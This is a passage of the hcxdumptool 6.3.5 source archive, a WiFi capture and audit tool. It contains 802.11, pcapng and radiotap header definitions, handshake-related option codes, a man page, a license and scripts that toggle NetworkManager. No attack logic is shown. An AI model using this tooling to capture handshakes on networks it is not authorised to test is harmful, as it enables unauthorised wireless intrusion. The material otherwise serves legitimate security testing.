{ u8 oui[3]; #define RSN_CS_WEP 1 #define RSN_CS_TKIP 2 #define RSN_CS_WRAP 3 #define RSN_CS_CCMP 4 #define RSN_CS_WEP104 5 #define RSN_AKM_PSK 2 #define RSN_AKM_PSKFT 4 #define RSN_AKM_PSK256 6 u8 type; }ieee80211_rnsuite_t; #define IEEE80211_RSNSUITE_SIZE sizeof(ieee80211_rnsuite_t) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 count; }ieee80211_rsnsuitecount_t; #define IEEE80211_RSNSUITECOUNT_SIZE sizeof(ieee80211_rsnsuitecount_t) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { #define MFP_REQUIRED 0x40 u16 capability; }ieee80211_rsncapability_t; #define IEEE80211_RSNCAPABILITY_SIZE sizeof(ieee80211_rsncapability_t) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 oui[3]; u8 type; u16 version; }ieee80211_wpaie_t; #define IEEE80211_WPAIE_SIZE sizeof(ieee80211_wpaie_t) #define IEEE80211_WPAIE_LEN_MIN 22 /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 oui[3]; #define WPA_CS_TKIP 2 #define WPA_CS_CCMP 4 #define WPA_AKM_PSK 2 u8 type; }ieee80211_wpasuite_t; #define IEEE80211_WPASUITE_SIZE sizeof(ieee80211_wpasuite_t) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 count; }ieee80211_wpasuitecount_t; #define IEEE80211_WPASUITECOUNT_SIZE sizeof(ieee80211_wpasuitecount_t) /*===========================================================================*/ /* DS bit usage * * TA = transmitter address * RA = receiver address * DA = destination address * SA = source address * * ToDS FromDS A1(RA) A2(TA) A3 A4 Use * ----------------------------------------------------------------- * 0 0 DA SA BSSID - IBSS/DLS * 0 1 DA BSSID SA - AP -> STA * 1 0 BSSID SA DA - AP <- STA * 1 1 RA TA DA SA unspecified (WDS) */ typedef struct __attribute__((__packed__)) { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned version : 2; unsigned type : 2; unsigned subtype : 4; unsigned to_ds : 1; unsigned from_ds : 1; unsigned more_frag : 1; unsigned retry : 1; unsigned power : 1; unsigned more_data : 1; unsigned prot : 1; unsigned ordered : 1; #define HCXTXDURATION 0x013aU #elif __BYTE_ORDER == __BIG_ENDIAN unsigned subtype : 4; unsigned type : 2; unsigned version : 2; unsigned ordered : 1; unsigned prot : 1; unsigned more_data : 1; unsigned power : 1; unsigned retry : 1; unsigned more_frag : 1; unsigned from_ds : 1; unsigned to_ds : 1; #define HCXTXDURATION 0x3a01U #endif u16 duration; u8 addr1[6]; u8 addr2[6]; u8 addr3[6]; u16 sequence; u8 addr4[6]; ieee80211_qos_t qos; }ieee80211_mac_t; /*===========================================================================*/ static const u8 zeroed[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; static const u8 macbc[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; static const u8 rsnsuiteoui[3] = { 0x00, 0x0f, 0xac }; static const u8 wpasuiteoui[3] = { 0x00, 0x50, 0xf2 }; static const int vendoraprg[] = { 0x00006C, 0x000101, 0x000578, 0x000B18, 0x000BF4, 0x000C53, 0x000D58, 0x000DA7, 0x000DC2, 0x000DF2, 0x000E17, 0x000E22, 0x000E2A, 0x000EEF, 0x000F09, 0x0016B4, 0x001761, 0x001825, 0x002067, 0x00221C, 0x0022F1, 0x00234A, 0x00238C, 0x0023F7, 0x002419, 0x0024FB, 0x00259D, 0x00269F, 0x005047, 0x005079, 0x0050C7, 0x0086A0, 0x00A054, 0x00A085, 0x00CB00, 0x0418B6, 0x0C8112, 0x100000, 0x105F02, 0x10B713, 0x1100AA, 0x111111, 0x146E0A, 0x18421D, 0x1CF4CA, 0x205B2A, 0x20D160, 0x24336C, 0x24FDFA, 0x3CB87A, 0x48062B, 0x487604, 0x48D35D, 0x48F317, 0x4CE136, 0x50E14A, 0x544E45, 0x580943, 0x586ED6, 0x6074F4, 0x609620, 0x60FCF1, 0x68E166, 0x706F81, 0x780B8C, 0x78F944, 0x7CE4AA, 0x806D97, 0x8C0734, 0x8C8401, 0x906F18, 0x90B4DD, 0x980EE4, 0x9C93E4, 0xA06260, 0xA4A6A9, 0xACDE48, 0xB025AA, 0xB0ECE1, 0xB0FEBD, 0xB4E1EB, 0xC8AACC, 0xD85DFB, 0xDC7014, 0xE4F14C, 0xE80410, 0xF03F03, 0xF49DA7 }; #define VENDORAPRG_SIZE sizeof(vendoraprg) static const int vendorclientrg[] = { 0x780B8C, 0x78F944, 0x7CE4AA, 0x806D97, 0x8C0734, 0x8C8401, 0x906F18, 0x90B4DD, 0x980EE4, 0x9C93E4, 0xA06260, 0xA4A6A9, 0xACDE48, 0xB025AA, 0xB0ECE1, 0xB0FEBD, 0xB4E1EB, 0xC8AACC, 0xD85DFB, 0xDC7014, 0xE4F14C, 0xE80410, 0xF03F03, 0xF49DA7 }; #define VENDORCLIENTRG_SIZE sizeof(vendorclientrg) /*===========================================================================*/ hcxdumptool-6.3.5/include/pcapng.h000066400000000000000000000112571471436103500171510ustar00rootroot00000000000000/*===========================================================================*/ #define PCAPMAGICNUMBER 0xa1b2c3d4 #define PCAPMAGICNUMBERBE 0xd4c3b2a1 #define PCAPNGBLOCKTYPE 0x0a0d0d0a #define PCAPNGMAGICNUMBER 0x1a2b3c4d #define PCAPNGMAGICNUMBERBE 0x4d3c2b1a #define PCAPNG_MAJOR_VER 1 #define PCAPNG_MINOR_VER 0 #define PCAPNG_BLOCK_SIZE 2048 #define SHB_SYSINFO_LEN 256 /*===========================================================================*/ /* Header of all pcapng options */ typedef struct __attribute__((__packed__)) { #define SHB_EOC 0 #define SHB_COMMENT 1 #define SHB_HARDWARE 2 #define SHB_OS 3 #define SHB_USER_APPL 4 #define SHB_CUSTOM_OPT 0x0bad #define IF_NAME 2 #define IF_DESCRIPTION 3 #define IF_MACADDR 6 #define IF_TSRESOL 9 #define IF_TZONE 10 #define TSRESOL_USEC 6 #define TSRESOL_NSEC 9 /* custom option code */ #define OPTIONCODE_MACORIG 0xf29a #define OPTIONCODE_MACAP 0xf29b #define OPTIONCODE_RC 0xf29c #define OPTIONCODE_ANONCE 0xf29d #define OPTIONCODE_MACCLIENT 0xf29e #define OPTIONCODE_SNONCE 0xf29f #define OPTIONCODE_WEAKCANDIDATE 0xf2a0 #define OPTIONCODE_NMEA 0xf2a1 u16 option_code; /* option code - depending of block (0 - end of opts, 1 - comment are in common) */ u16 option_length; /* option length - length of option in bytes (will be padded to 32bit) */ char option_data[1]; }option_header_t; #define OH_SIZE offsetof(option_header_t, option_data) /*===========================================================================*/ /* Option Field */ typedef struct __attribute__((__packed__)) { u16 option_code; u16 option_length; u64 option_value; }optionfield64_t; #define OPTIONFIELD64_SIZE (sizeof(optionfield64_t)) /*===========================================================================*/ /* total length*/ typedef struct __attribute__((__packed__)) { u32 total_length; }total_length_t; #define TOTAL_SIZE (sizeof(total_length_t)) /*===========================================================================*/ /* Section Header Block (SHB) - ID 0x0A0D0D0A */ typedef struct __attribute__((__packed__)) { u32 block_type; /* block type */ u32 total_length; /* block length */ u32 byte_order_magic; /* byte order magic - indicates swapped data */ u16 major_version; /* major version of pcapng (1 atm) */ u16 minor_version; /* minor version of pcapng (0 atm) */ s64 section_length; /* length of section - can be -1 (parsing necessary) */ }section_header_block_t; #define SHB_SIZE (sizeof(section_header_block_t)) /*---------------------------------------------------------------------------*/ /* Interface Description Block (IDB) - ID 0x00000001 */ typedef struct __attribute__((__packed__)) { u32 block_type; /* block type */ #define IDBID 0x00000001 u32 total_length; /* block length */ u16 linktype; /* the link layer type (was -network- in classic pcap global header) */ u16 reserved; /* 2 bytes of reserved data */ u32 snaplen; /* maximum number of bytes dumped from each packet (was -snaplen- in classic pcap global header */ }interface_description_block_t; #define IDB_SIZE (sizeof(interface_description_block_t)) /*---------------------------------------------------------------------------*/ /* Custom Block (CB) - ID 0x00000bad */ typedef struct __attribute__((__packed__)) { u32 block_type; /* block type */ #define CBID 0x00000bad u32 total_length; /* block length */ u8 pen[4]; /* Private Enterprise Number */ u8 hcxm[32]; /* hcxdumptool magic number */ u8 data[1]; }custom_block_t; #define CB_SIZE offsetof (custom_block_t, data) /*---------------------------------------------------------------------------*/ /* Enhanced Packet Block (EPB) - ID 0x00000006 */ typedef struct __attribute__((__packed__)) { #define EPBID 0x00000006 u32 block_type; /* block type */ u32 total_length; /* block length */ u32 interface_id; /* the interface the packet was captured from - identified by interface description block in current section */ u32 timestamp_high; /* high bytes of timestamp */ u32 timestamp_low; /* low bytes of timestamp */ u32 cap_len; /* length of packet in the capture file (was -incl_len- in classic pcap packet header) */ u32 org_len; /* length of packet when transmitted (was -orig_len- in classic pcap packet header) */ }enhanced_packet_block_t; #define EPB_SIZE (sizeof(enhanced_packet_block_t)) /*===========================================================================*/ static const u8 hcxmagic[] = { 0x2a, 0xce, 0x46, 0xa1, 0x79, 0xa0, 0x72, 0x33, 0x83, 0x37, 0x27, 0xab, 0x59, 0x33, 0xb3, 0x62, 0x45, 0x37, 0x11, 0x47, 0xa7, 0xcf, 0x32, 0x7f, 0x8d, 0x69, 0x80, 0xc0, 0x89, 0x5e, 0x5e, 0x98 }; #define HCXMAGIC_SIZE (sizeof(hcxmagic)) /*===========================================================================*/ hcxdumptool-6.3.5/include/radiotap.h000066400000000000000000000047661471436103500175130ustar00rootroot00000000000000/*===========================================================================*/ #ifndef DLT_IEEE802_11_RADIO #define DLT_IEEE802_11_RADIO 127 #endif /*===========================================================================*/ #define IEEE80211_RADIOTAP_TSFT 0x00000001 #define IEEE80211_RADIOTAP_FLAGS 0x00000002 #define IEEE80211_RADIOTAP_RATE 0x00000004 #define IEEE80211_RADIOTAP_CHANNEL 0x00000008 #define IEEE80211_RADIOTAP_FHSS 0x00000010 #define IEEE80211_RADIOTAP_DBM_ANTSIGNAL 0x00000020 #define IEEE80211_RADIOTAP_DBM_ANTNOISE 0x00000040 #define IEEE80211_RADIOTAP_LOCK_QUALITY 0x00000080 #define IEEE80211_RADIOTAP_TX_ATTENUATION 0x00000100 #define IEEE80211_RADIOTAP_DB_TX_ATTENUATION 0x00000200 #define IEEE80211_RADIOTAP_DBM_TX_POWER 0x00000400 #define IEEE80211_RADIOTAP_ANTENNA 0x00000800 #define IEEE80211_RADIOTAP_DB_ANTSIGNAL 0x00001000 #define IEEE80211_RADIOTAP_DB_ANTNOISE 0x00002000 #define IEEE80211_RADIOTAP_RX_FLAGS 0x00004000 #define IEEE80211_RADIOTAP_TX_FLAGS 0x00008000 #define IEEE80211_RADIOTAP_RTS_RETRIES 0x00010000 #define IEEE80211_RADIOTAP_DATA_RETRIES 0x00020000 /* 18 is XChannel, not defined */ #define IEEE80211_RADIOTAP_MCS 0x00080000 #define IEEE80211_RADIOTAP_AMPDU_STATUS 0x00100000 #define IEEE80211_RADIOTAP_VHT 0x00200000 #define IEEE80211_RADIOTAP_TIMESTAMP 0x00400000 /* valid in every it_present bitmap, even vendor namespaces */ #define IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE 0x20000000 #define IEEE80211_RADIOTAP_VENDOR_NAMESPACE 0x40000000 #define IEEE80211_RADIOTAP_EXT 0x80000000 /*---------------------------------------------------------------------------*/ #define IEEE80211_RADIOTAP_F_CFP 0x01 #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 #define IEEE80211_RADIOTAP_F_WEP 0x04 #define IEEE80211_RADIOTAP_F_FRAG 0x08 #define IEEE80211_RADIOTAP_F_FCS 0x10 #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 #define IEEE80211_RADIOTAP_F_BADFCS 0x40 /*===========================================================================*/ typedef struct __attribute__((__packed__)) { u8 it_version; u8 it_pad; u16 it_len; u32 it_present; }rth_t; #define RTHRX_SIZE (ssize_t)(sizeof(rth_t)) /*---------------------------------------------------------------------------*/ static const u8 rthtxdata[] = { 0x00, 0x00, /* radiotap version and padding */ 0x0a, 0x00, /* radiotap header length */ 0x00, 0x80, 0x00, 0x00, /* bitmap */ 0x18, 0x00 /* tx flags */ }; #define RTHTX_SIZE sizeof(rthtxdata) /*===========================================================================*/ hcxdumptool-6.3.5/include/raspberry.h000066400000000000000000000011461471436103500177060ustar00rootroot00000000000000/*===========================================================================*/ #define RPINAME_SIZE 12 #define RASPBERRY_INFO 2048 #define GPIO_LED_DELAY 100000000L #define RPI_BLOCK_SIZE (4*1024) #define INP_GPIO(g) *(gpio +((g) /10)) &= ~(7 << (((g) %10) *3)) #define OUT_GPIO(g) *(gpio +((g) /10)) |= (1 << (((g) %10) *3)) #define GPIO_SET *(gpio +7) #define GPIO_CLR *(gpio +10) #define GET_GPIO(g) (*(gpio +13) & (1 << g)) static void *gpio_map; static volatile unsigned *gpio; static const char rpiname[] = "Raspberry Pi"; /*===========================================================================*/ hcxdumptool-6.3.5/include/types.h000066400000000000000000000005111471436103500170340ustar00rootroot00000000000000/*===========================================================================*/ typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; typedef uint64_t u64; typedef int8_t s8; typedef int16_t s16; typedef int32_t s32; typedef int64_t s64; /*===========================================================================*/ hcxdumptool-6.3.5/license.txt000066400000000000000000000020711471436103500162620ustar00rootroot00000000000000The MIT License (MIT) Copyright (c) 2000-2024 ZeroBeat Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. hcxdumptool-6.3.5/man/000077500000000000000000000000001471436103500146525ustar00rootroot00000000000000hcxdumptool-6.3.5/man/hcxdumptool.1000066400000000000000000000013401471436103500173000ustar00rootroot00000000000000.\" Manpage for hcxdumptool. .\" Contact https://github.com/ZerBea to correct errors or typos. .TH man 1 "23 October 2021" "1.0" "hcxdumptool man page" .SH NAME hcxtools .SH DESCRIPTION Small tool to capture packets from wlan devices and to detect weak points within own WiFi networks. .SH TOOLS .nf | hcxdumptool | Tool to run several tests to determine if ACCESS POINTs or CLIENTs are vulnerable | .SH OPTIONS help menu (-h or --help) of each tool will list all available options .SH RELATED TOOLS hcxpcapngtool, hcxhashtool, hcxpsktool, hcxpmktool, hcxeiutool, hcxwltool, hcxhash2cap, whoismac, wlancap2wpasec, wlangenpmk, wlangenpmkocl .SH BUGS no known bugs. .SH AUTHOR ZeroBeat (https://github.com/ZerBea) hcxdumptool-6.3.5/usefulscripts/000077500000000000000000000000001471436103500170125ustar00rootroot00000000000000hcxdumptool-6.3.5/usefulscripts/startnlmon000077500000000000000000000001601471436103500211360ustar00rootroot00000000000000#!/bin/sh echo "Activating NETLINK monitor" sudo ip link add nlmon0 type nlmon sudo ip link set dev nlmon0 up hcxdumptool-6.3.5/usefulscripts/startnm000077500000000000000000000002041471436103500204240ustar00rootroot00000000000000#!/bin/sh echo "Activating NetworkManager" sudo systemctl start NetworkManager.service sudo systemctl start wpa_supplicant.service hcxdumptool-6.3.5/usefulscripts/stopnm000077500000000000000000000002041471436103500202540ustar00rootroot00000000000000#!/bin/sh echo "Deactivating NetworkManager" sudo systemctl stop NetworkManager.service sudo systemctl stop wpa_supplicant.service